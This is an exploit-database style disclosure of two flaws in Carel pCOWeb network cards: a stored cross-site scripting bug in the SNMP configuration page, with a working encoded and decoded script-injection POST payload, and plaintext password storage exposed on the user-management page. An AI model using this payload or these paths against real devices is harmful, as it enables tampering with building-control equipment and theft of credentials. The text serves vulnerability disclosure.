Carel pCOWeb Cross Site Scripting / Credential Disclosure

`# Exploit Title: Carel pCOWeb - Stored XSS  
# Date: 2019-04-16  
# Exploit Author: Luca.Chiou  
# Vendor Homepage: https://www.carel.com/  
# Version: Carel pCOWeb all versions prior to B1.2.1  
# Tested on: It is a proprietary devices: http://www.carel.com/product/pcoweb-card  
  
# 1. Description:  
# In Carel pCOWeb web page,  
# user can modify the system configuration by access the /config/pw_snmp.html.  
# Attackers can inject malicious XSS code in post data.  
# The XSS code will be stored in database, so that cause a stored XSS vulnerability.  
  
# 2. Proof of Concept:  
# Browse http://<Your<http://%3cYour> Modem IP>/config/pw_snmp.html  
# Send this post data:  
%3Fscript%3Asetdb%28%27snmp%27%2C%27syscontact%27%29=%22%3E%3Cscript%3Ealert%28123%29%3C%2Fscript%3E  
# The post data in URL decode format is:  
?script:setdb('snmp','syscontact')="><script>alert(123)</script>  
  
  
  
# Exploit Title: Carel pCOWeb - Unprotected Storage of Credentials  
# Date: 2019-04-16  
# Exploit Author: Luca.Chiou  
# Vendor Homepage: https://www.carel.com/  
# Version: Carel pCOWeb all versions prior to B1.2.1  
# Tested on: It is a proprietary devices: http://www.carel.com/product/pcoweb-card  
  
# 1. Description:  
# The devices, Carel pCOWeb, store plaintext passwords,  
# which may allow sensitive information to be read by someone with access to the device.  
  
# 2. Proof of Concept:  
# Browse the maintain user page in website:  
# http://<Your<http://%3cYour> Modem IP>/config/pw_changeusers.html  
# The user's information include Description, Username and Password.  
# In user page, we can find out that user passwords stored in plaintext.  
`